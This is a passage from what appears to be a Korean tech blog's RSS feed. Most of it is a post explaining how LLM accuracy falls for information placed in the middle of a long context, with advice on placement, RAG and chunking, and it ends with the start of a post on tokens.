/static/86eab1d0139d5600c81a55639700743d/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/86eab1d0139d5600c81a55639700743d/f7886/thumbnail.png 215w,
/static/86eab1d0139d5600c81a55639700743d/bc750/thumbnail.png 430w,
/static/86eab1d0139d5600c81a55639700743d/3e3fe/thumbnail.png 860w,
/static/86eab1d0139d5600c81a55639700743d/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/86eab1d0139d5600c81a55639700743d/3e3fe/thumbnail.png&apos; alt=&apos;컨텍스트 윈도우 커버 — 정답 위치에 따라 정확도가 갈리는 U자 곡선&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;컨텍스트 윈도우 커버 — 정답 위치에 따라 정확도가 갈리는 U자 곡선&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;문서 100페이지를 통째로 넣었습니다. 그런데 모델이 &lt;strong&gt;가운데 내용을 못 찾습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;앞부분을 물으면 잘 답합니다. 뒷부분도 잘 답합니다. 그런데 중간쯤에 있던 문장을 물으면 &quot;문서에 없다&quot;고 합니다. 분명히 넣었는데도요.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;컨텍스트에 넣는 것과 모델이 실제로 쓰는 것은 다릅니다.&lt;/strong&gt; 정확도는 정보가 &lt;strong&gt;어디에 있느냐&lt;/strong&gt;에 따라 달라지고, 그 모양이 &lt;strong&gt;U자&lt;/strong&gt;입니다. 앞과 뒤는 잘 보고 가운데가 약합니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/llm-tokenizer-explained/&quot;&gt;LLM 토큰 편&lt;/a&gt;에서 &quot;200K 컨텍스트는 글자가 아니라 토큰 200,000개&quot;라고 말씀드렸는데, 오늘은 그 200,000개를 &lt;strong&gt;모델이 다 똑같이 보지는 않는다&lt;/strong&gt;는 이야기입니다.&lt;/p&gt;
&lt;p&gt;같은 문서를 넣고 위치만 바꿨을 때 정확도가 어떻게 갈리는지를 &lt;strong&gt;1분 영상&lt;/strong&gt;으로도 정리했습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/ZK6E2xjwmac&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 118.13953488372093%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAAAAAAAAAHqZRakAAADy0lEQVR42k2U2W/bRhDGmaK2uAdl6+R9i8tDFCnxkOSDdu34kBPYbpM2QdPARR8aoA99yGv++s5SshvgB0qznG/308ysBKQyrEUcM8FGixkTa4q/g4fPb5ERIT0ClagEgpKd+Ud3evnaPdrI+TkNKonVEltywtUOHsJiTQOgIu5CCirql0IvWo9np5y8AYbZGScHzl8Y8Ge7Pjsdzht5eWH//cf44kbAdoqcFHsZ9nLk5YSVUlhzouX/hEBNWUWDohtXvfLosFhTPxcGea3VJ0p5PC6P9fVPh/mKTkspraTZd6QV5ZQ0LXCYDTaXytPPw/trYVweqXWj1KfK6tw8ve4Vx9Ks7uarlnV3vn7+vpQyDk2K0f2N/uU3+dc3gmgEw6QapsuOk4huiv2cBgvKChqWNKx2sEJiCzyZEz/HfoaMGCkMQbVFZTKYlIOwQtAMM0X2jDg5dhccr9jhLviiPUMm9GzKxUaMdSYgjYFsfxyISoSdjLgZ8RbYL8ikfIGHXkHcHLbGVgr5osyg2wLSQ6yEvfPz4eVVRw4JFPxZDF0lQCvGXDyH3UU9hu505zXSwlasx9K80q4flfKWeHPkZNgvt2L6IvaLjpWLZnIQLPXLB+XDA58wsE2tqahHohYNssZoHvuzBrv57vBn25KfW4ulurpTl7eSNxeVrW2NETNBVgKWIP7RLt9+2ly/u3plLIi/4L/ZK/bMnJ1dPn3ZwJzCGaIRYTtpbWsBF5sxsqfEnnXM9NBPrPVrvfkFUn+A+vuFdnIv1zfYhjonvGAGv0UgFJAaULgoILYS3gkr5Ras5CBa681jUd/4zUNv1kCdJBdKPeWZOohjEArQawJXDFoHMd9lSu2UulnHSEQn+/b2c5SevFJDMCU5OyUXG2E7JPKEbIPtC4NfZtBze1bKt2jtIL4Yby8z1hjWQ5guEHs8AECvhSK3FBGrNWImXZuPxNYUhUUt4kOlBtDgjuwJ4tglPIbNGOE9j6gZAxgGEP5StkcZPJQg1ENIxirXi2Mu9gAtWsmsJlpIQQzOTQ703ykuRqza7QhP2EhlAzfTkzWSfQGNPDT2JCOS9BjmFMnBft/eH9h7fXN/aFFtAtb2+tZez4RXWA2xHMDhElRn5Al46JKxj0ceVibiyO2zZfH719n7fxafvoZ3T+z2c/Tmz/zDv6u/vo3TRoRkNcBym9+KHfgAPZEnksrksJ6cPVqrW2ivs944R3f+6X1y9TG6+mjmzYER8cwWNHIEMnIoiFskJegqAR5YaOh0BtYLeOSgvnmgBl2VbTNbifMf1DO42NMecUsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/01f8c010252ed3224000d7d967986d52/a1b3b/video-thumb.webp 215w,
/static/01f8c010252ed3224000d7d967986d52/fc700/video-thumb.webp 430w,
/static/01f8c010252ed3224000d7d967986d52/521f7/video-thumb.webp 860w,
/static/01f8c010252ed3224000d7d967986d52/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/01f8c010252ed3224000d7d967986d52/f7886/video-thumb.png 215w,
/static/01f8c010252ed3224000d7d967986d52/bc750/video-thumb.png 430w,
/static/01f8c010252ed3224000d7d967986d52/3e3fe/video-thumb.png 860w,
/static/01f8c010252ed3224000d7d967986d52/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/01f8c010252ed3224000d7d967986d52/3e3fe/video-thumb.png&apos; alt=&apos;컨텍스트 윈도우 영상 — 같은 정보라도 가운데에 있으면 정확도가 떨어지는 U자 곡선&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;컨텍스트 윈도우 영상 — 같은 정보라도 가운데에 있으면 정확도가 떨어지는 U자 곡선&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;컨텍스트 윈도우는 작업대다&lt;/h2&gt;
&lt;p&gt;컨텍스트 윈도우는 모델이 &lt;strong&gt;한 번에 올려놓고 볼 수 있는 토큰의 총량&lt;/strong&gt;입니다. 시스템 프롬프트, 대화 기록, 붙여넣은 문서, 그리고 &lt;strong&gt;모델이 생성할 답변까지&lt;/strong&gt; 전부 여기 들어갑니다.&lt;/p&gt;
&lt;p&gt;두 가지가 자주 오해됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;① 기억이 아니라 작업대입니다.&lt;/strong&gt; 모델은 이전 대화를 &quot;기억&quot;하지 않습니다. 매 요청마다 지금까지의 대화 전체를 다시 통째로 읽습니다. 대화가 길어질수록 매번 읽는 양이 늘어나는 구조입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;② 입력만 세는 게 아닙니다.&lt;/strong&gt; 출력도 같은 창을 씁니다. 입력으로 창을 거의 채우면 답변할 자리가 남지 않습니다.&lt;/p&gt;
&lt;h2&gt;U자 곡선 — Lost in the Middle&lt;/h2&gt;
&lt;p&gt;여기서부터가 본론입니다.&lt;/p&gt;
&lt;p&gt;스탠퍼드 연구진의 &lt;a href=&quot;https://arxiv.org/abs/2307.03172&quot;&gt;Lost in the Middle&lt;/a&gt; 실험은 단순합니다. 문서 여러 개를 컨텍스트에 넣고 질문하는데, &lt;strong&gt;정답이 든 문서의 위치만 바꿔 가며&lt;/strong&gt; 정확도를 잽니다.&lt;/p&gt;
&lt;p&gt;결과가 U자였습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;정확도
  ▲
  │ ●                                        ●
  │   ●                                    ●
  │      ●                             ●
  │          ●   ●   ●   ●   ●   ●
  └──────────────────────────────────────────▶
   맨 앞            가운데              맨 뒤     정답 위치&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;정답이 맨 앞이나 맨 뒤에 있을 때 가장 정확하고, 가운데에 있을 때 가장 부정확합니다.&lt;/strong&gt; 논문에서는 위치만 바꿨는데 정확도가 30% 넘게 떨어지는 구간이 나왔습니다.&lt;/p&gt;
&lt;p&gt;내용도, 질문도, 문서 개수도 그대로입니다. &lt;strong&gt;위치만 바뀌었습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;광고된 길이 ≠ 실제로 쓸 수 있는 길이&lt;/h2&gt;
&lt;p&gt;&quot;1M 토큰 지원&quot;이라고 하면 100만 토큰을 다 쓸 수 있을 것 같지만, 실제로는 다릅니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2404.06654&quot;&gt;RULER 벤치마크&lt;/a&gt;는 단순 검색이 아니라 &lt;strong&gt;여러 정보를 찾아 엮어야 하는 과제&lt;/strong&gt;로 롱컨텍스트 모델을 평가했습니다. 17개 모델을 테스트했는데, &lt;strong&gt;전부 입력이 길어질수록 회수율이 떨어졌습니다.&lt;/strong&gt; 여기서 나온 개념이 &lt;strong&gt;유효 컨텍스트 길이(effective context length)&lt;/strong&gt; 입니다 — 광고된 길이보다 짧습니다.&lt;/p&gt;
&lt;p&gt;이후 LongBench v2, HELMET 같은 후속 벤치마크에서도 같은 경향이 이어집니다. 최신 모델들이 많이 개선된 건 맞지만, &lt;strong&gt;&quot;넣으면 다 본다&quot;는 아직 아닙니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;특히 갈리는 지점이 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;과제 유형&lt;/th&gt;
&lt;th&gt;긴 컨텍스트에서&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;한 문장 찾기&lt;/strong&gt; (needle in a haystack)&lt;/td&gt;
&lt;td&gt;비교적 잘 버팀&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;여러 곳을 찾아 엮기&lt;/strong&gt; (multi-hop)&lt;/td&gt;
&lt;td&gt;확연히 떨어짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;전체를 훑고 추론하기&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;가장 많이 떨어짐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&quot;바늘 찾기 테스트는 100% 통과했다&quot;는 홍보 문구를 조심해야 하는 이유입니다. &lt;strong&gt;실무는 대개 바늘 하나 찾기가 아니라 여러 개를 엮는 일입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;왜 이런 일이 생기나&lt;/h2&gt;
&lt;p&gt;정확한 원인은 아직 연구 중이고 여러 설명이 겹쳐 있습니다. 다만 관측은 일관됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;① 학습 데이터의 위치 편향.&lt;/strong&gt; 사람이 쓴 글은 중요한 내용이 앞(요약·서론)이나 뒤(결론)에 오는 경향이 있습니다. 모델은 그 분포를 학습했습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;② 어텐션이 얇게 퍼집니다.&lt;/strong&gt; 토큰이 많아질수록 각 토큰에 배분되는 주의가 옅어집니다. 문장 100개 중 하나를 고르는 것과 10,000개 중 하나를 고르는 것은 다릅니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;③ 위치 인코딩의 외삽 한계.&lt;/strong&gt; 학습할 때 본 길이보다 훨씬 긴 입력에서는 위치 정보가 약해집니다. 롱컨텍스트 모델들이 이 부분을 계속 개선하고 있습니다.&lt;/p&gt;
&lt;p&gt;셋 다 &lt;strong&gt;&quot;모델이 게으르다&quot;가 아니라 구조적 성질&lt;/strong&gt;입니다. 프롬프트로 &quot;빠짐없이 읽어라&quot;라고 써도 크게 달라지지 않습니다.&lt;/p&gt;
&lt;h2&gt;그래서 무엇을 바꿔야 하나&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;① 중요한 것을 끝에 두세요.&lt;/strong&gt; 가장 싸고 효과가 확실한 조치입니다. 질문·지시문은 문서 &lt;strong&gt;뒤에&lt;/strong&gt; 붙이는 게 앞에 두는 것보다 대체로 낫습니다. 시스템 프롬프트처럼 고정된 내용은 앞에 두고요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;② 다 넣지 말고 골라 넣으세요.&lt;/strong&gt; 100페이지를 넣고 &quot;찾아봐&quot;라고 하는 것보다, 관련된 5페이지만 넣는 쪽이 정확합니다. &lt;strong&gt;이게 컨텍스트가 커졌는데도 &lt;a href=&quot;/rag-explained/&quot;&gt;RAG&lt;/a&gt;를 계속 쓰는 이유입니다.&lt;/strong&gt; 넣을 수 있느냐와 잘 쓰느냐는 다른 문제입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;③ 길면 쪼개세요.&lt;/strong&gt; 여러 곳을 엮어야 하는 과제라면 한 번에 던지지 말고, 부분별로 요약한 뒤 그 요약들을 다시 넘기는 편이 안정적입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;④ 비용과 지연도 같이 보세요.&lt;/strong&gt; 컨텍스트가 길면 매 요청마다 그만큼 다시 읽습니다. 요금이 오르고 첫 응답까지 걸리는 시간도 늘어납니다. 고정된 앞부분은 &lt;strong&gt;프롬프트 캐싱&lt;/strong&gt;으로 덜어낼 수 있습니다.&lt;/p&gt;
&lt;h2&gt;확인하는 법&lt;/h2&gt;
&lt;p&gt;의심되면 직접 재 보시면 됩니다. 방법은 단순합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;확인용 문장 하나를 정합니다 (예: &lt;code class=&quot;language-text&quot;&gt;사내 VPN 비밀번호는 alpaca-7 이다&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;긴 문서의 &lt;strong&gt;맨 앞 / 가운데 / 맨 뒤&lt;/strong&gt;에 각각 넣어 세 벌을 만듭니다&lt;/li&gt;
&lt;li&gt;같은 질문을 던지고 답이 갈리는지 봅니다&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;가운데 버전만 틀린다면 그게 이 문제입니다. 문서 길이를 2배, 4배로 늘려 가며 &lt;strong&gt;어디서부터 무너지는지&lt;/strong&gt;도 확인해 두면, 그 길이가 여러분 서비스의 실질적인 상한입니다.&lt;/p&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 컨텍스트가 1M까지 커졌으면 RAG는 이제 필요 없지 않나요?&lt;/strong&gt;
A. 아닙니다. 세 가지가 남습니다. &lt;strong&gt;정확도&lt;/strong&gt; — 다 넣으면 가운데를 놓칩니다. &lt;strong&gt;비용&lt;/strong&gt; — 매 요청마다 전부 다시 읽습니다. &lt;strong&gt;지연&lt;/strong&gt; — 길수록 첫 응답이 늦습니다. RAG는 &quot;넣을 수 없어서&quot; 쓰는 게 아니라 &lt;strong&gt;&quot;골라 넣는 게 더 나아서&quot;&lt;/strong&gt; 씁니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 프롬프트에 &quot;전체를 빠짐없이 읽어라&quot;라고 쓰면 되나요?&lt;/strong&gt;
A. 효과가 크지 않습니다. 위 세 가지는 지시로 바뀌는 성질이 아닙니다. 지시문을 다듬는 것보다 &lt;strong&gt;위치를 바꾸고 양을 줄이는 쪽&lt;/strong&gt;이 훨씬 확실합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 대화가 길어지면 왜 느려지고 비싸지나요?&lt;/strong&gt;
A. 모델이 기억하지 못하기 때문입니다. 매 요청마다 대화 전체를 다시 읽습니다. 대화가 길수록 매번 읽는 양이 늘고, 그만큼 요금과 지연이 함께 늘어납니다. 주기적으로 요약해서 갈아 끼우는 게 정석입니다.&lt;/p&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;컨텍스트 윈도우는 기억이 아니라 &lt;strong&gt;작업대&lt;/strong&gt;다. 출력도 같은 창을 쓴다.&lt;/li&gt;
&lt;li&gt;정확도는 &lt;strong&gt;위치에 따라 U자&lt;/strong&gt;를 그린다. 앞과 뒤는 잘 보고 &lt;strong&gt;가운데가 약하다.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;광고된 길이 ≠ 유효 길이.&lt;/strong&gt; 여러 정보를 엮는 과제일수록 더 떨어진다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;중요한 건 끝에, 그리고 다 넣지 말고 골라 넣는다.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;컨텍스트가 커져도 RAG를 쓰는 이유가 여기 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;토큰이 어떻게 세어지는지는 &lt;a href=&quot;/llm-tokenizer-explained/&quot;&gt;LLM 토큰 편&lt;/a&gt;에, 골라 넣는 방법은 &lt;a href=&quot;/rag-explained/&quot;&gt;RAG 편&lt;/a&gt;에 정리해 뒀습니다.&lt;/p&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/2307.03172&quot;&gt;Lost in the Middle: How Language Models Use Long Contexts (Liu et al., TACL 2024)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/2404.06654&quot;&gt;RULER: What&apos;s the Real Context Size of Your Long-Context Language Models? (Hsieh et al., 2024)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/gabrielanhaia/lost-in-the-middle-is-still-real-in-2026-even-on-1m-token-models-2ehj&quot;&gt;Lost-in-the-Middle Is Still Real in 2026 (Even on 1M-Token Models)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[LLM 토큰이란? — 한글이 요금을 더 먹는 이유]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 토크나이저가 같은 뜻의 영어와 한글을 어떻게 다르게 쪼개는지 51초 영상으로 먼저 확인할 수 있습니다.   는 1토큰입니다.  는 3토큰입니다. 같은 뜻인데 세 배입니다. 그리고 LLM API…]]></description><link>https://blog.javapark.kr/llm-tokenizer-explained/</link><guid isPermaLink="false">https://blog.javapark.kr/llm-tokenizer-explained/</guid><pubDate>Sun, 23 Aug 2026 00:30:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/c2d4c842f4c86664fed5fd7b032e9d43/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMUlEQVR42h1Sy27TQBR1qOraHo89jt/vt53Ecew4jkOcpKSpUoiUglKo6AJVKgiQEGKBxIIF/8640lnM1b3nPs4ZgoQiI9vIium+ccHJGJSg07LLmDFwMxhV3GDBZys+33TIVjiE4RS4Y8aIiXPQp7QIhFWPQr0zpkfx50ijFI8yUzYouLThxxtUXgmzvVDt8YMfr2Ha4BSwBwSN1PV2//j09cev31++//zz99/17Qdaj5Vhwyc1N1yiYtuvb1Bz4OdvhBrzt1y2ZOMKOCOChNLl9eHx87d37x+Op/uHT09luxPD0iovhUHDjZao3KH5a+/2Lrm755oVW9RwVrPFDDgZQbLSuL1pjx/Lq9vF9ZF4QZ1BhZSf1w6nHbnYotneOhy900lo1kJe9/MpGpbdZBpp+mgRb95G7cEYzaFo8GYEzYS1R2xQ4pu58RpNXm2muzZblWEV2tnEyVIsGL4ZCIZkp7KVSHogW7HqD2VvqEQTxkywpFhtiNUetWW+Xk63Vb72w8p1Mt0e4AICIEvPN+rgpWTEgh6p3pBTPCMpaDVgrBR4OTYGJjWTzMFggbJWxGoFE9pKKdUneMnnRBeDFR22b9NIp3mN5FVKsmkt7PhO1rUICuhPwPO22GFa9XEBISihqMWiliA54Dq+xSCD5tUL7Dbmqz5tRIyZAusZZsIYETQioHokUom+mujuxPBLUU/wfCjaWIVuOCeTvHIhGLgFpbjdt8GQHRwiM+IUF3v8HzJBVw7pmRudAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/c2d4c842f4c86664fed5fd7b032e9d43/a1b3b/thumbnail.webp 215w,
/static/c2d4c842f4c86664fed5fd7b032e9d43/fc700/thumbnail.webp 430w,
/static/c2d4c842f4c86664fed5fd7b032e9d43/521f7/thumbnail.webp 860w,
/static/c2d4c842f4c86664fed5fd7b032e9d43/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/c2d4c842f4c86664fed5fd7b032e9d43/f7886/thumbnail.png 215w,
/static/c2d4c842f4c86664fed5fd7b032e9d43/bc750/thumbnail.png 430w,
/static/c2d4c842f4c86664fed5fd7b032e9d43/3e3fe/thumbnail.png 860w,
/static/c2d4c842f4c86664fed5fd7b032e9d43/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/c2d4c842f4c86664fed5fd7b032e9d43/3e3fe/thumbnail.png&apos; alt=&apos;LLM 토큰 커버 — developer는 1토큰, 개발자는 3토큰&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;LLM 토큰 커버 — developer는 1토큰, 개발자는 3토큰&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;토크나이저가 같은 뜻의 영어와 한글을 어떻게 다르게 쪼개는지 &lt;strong&gt;51초 영상&lt;/strong&gt;으로 먼저 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/KW0RQexib3g&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 109.76744186046513%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAIAAABPIytRAAAACXBIWXMAAAAAAAAAAAHqZRakAAAD9ElEQVR42mWR22/iVhDG/bCbgK+Ak0ASDMc+xsb327GNwVySEAhJgFyApE1baVWpD91s1UrtS/vPd7ybSpEq/XR0Zub7ZsbH1H5d/lBHHxvyh4ZSlnSm3WWQwSCTQdY7zCIJpZZBt/TysVo+UUt1heI0J7xeh4t1ttrVwx5r+4JHeB+I30F4SLoR74ac5R/eTOv3c0azKVazpM0tenlQftrU7655knJ+zAXp/0iKvEc4NxRIwscJ07EoWjGESV6ZjsXr6cF8Wgl7vJPwXioA/hsQ8i6QCDDciWjdLesOrZjUkWQ4bu74oyZyT9rOKQ4ljbT0uNUFkq/EEBbJTiSpQRP7xEwHVtZomVQTOcvp3fXlPfFyz8p8ZyAbiWplqtXvFAzghFAxUtyNsUZkLbwMxgt/3Jadwvzgj2+88TaZ3SWz+3SOzZ5uDzQrfwe0yFQzVbuJqhMJB23snyKb4k+1g7YtIluUXVH2RRyIaiR2iNiJRS0+0IqzCNWohv2q7NaQWwN9y+JPdarc7O5J1l7b2UfuHvJKSlhS41InZro9xsgKuj1aT2ktpdWohMOyEpRlr4zc8mmXYmRfiudNMlMHKzy+Q8M1Gt8pZ/e8O6l4F4J3LrgT3hkBnJmzRsZCF0QYGfAoRvFFb1Rzh/XeVDSHVWNUsyc1Z8Lqfc4a8s6Ys4cFFjgHjJZydr+aX1SSMS37FIP92sXs4Obm6PFOGF5URrPqZF49uxKn10J0DtPezGbOGH1GTYRodLhc1sZTpjDLnji/Ory9BX/94f7o8f5o81jfbBrf7aqDOWcO/1u4z+g9Vu/RmJROnVLLo9HXtXk9qxp5nSz2Tpz9prsneXvtYL8dlnBcVuNyJ2G6fXg2cJaV6DCeW7svaPoMxsJsPP7q//hX9OkfY/PZ2L6a21dj92o+/WZsv1jPv6vLn1lwail8MIwVrOFhuhCcMY1cimk7R2TWiK+Ogez2uL9q9Jf1bNkoLqvjwfowWdCdBOYXW2BCy0EFeVUc0i2H4lo21hNFi/vuSNZi08jqmLAo4OWQkyNODnklqmq9aietwf44tJ3RS77KgnMWzKxk36SL53y5HSyf8vVTvtrly12+ehqutxAO13CH0nZw+zRY7gbLH8Dpn31EHtuyKUayODnglJDHEacApIJjHoccDis4FFTIQDWoqjGrELYQgDJk5QCMFNM0OeRxsl9klZCWQ9seniVXJJqOk6sJuUzIZS+eZf45lL5peBDL3jczTAazB/2+DozgB5rrX7zv/zA3nxvpgnz6O3j5k257HCawXaEBM/JhKsUcdzjYXLLh5bi28w0W+azss8iFfwEbFq1bb6VCBmLJYo+1fwFmJ9jYaZtzfgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/b3b3d4b2e50d814274a792045d448857/a1b3b/video-thumb.webp 215w,
/static/b3b3d4b2e50d814274a792045d448857/fc700/video-thumb.webp 430w,
/static/b3b3d4b2e50d814274a792045d448857/521f7/video-thumb.webp 860w,
/static/b3b3d4b2e50d814274a792045d448857/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/b3b3d4b2e50d814274a792045d448857/f7886/video-thumb.png 215w,
/static/b3b3d4b2e50d814274a792045d448857/bc750/video-thumb.png 430w,
/static/b3b3d4b2e50d814274a792045d448857/3e3fe/video-thumb.png 860w,
/static/b3b3d4b2e50d814274a792045d448857/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/b3b3d4b2e50d814274a792045d448857/3e3fe/video-thumb.png&apos; alt=&apos;LLM 토크나이저 영상 — 영어와 한글이 서로 다른 토큰 수로 분리되는 과정&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;LLM 토크나이저 영상 — 영어와 한글이 서로 다른 토큰 수로 분리되는 과정&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
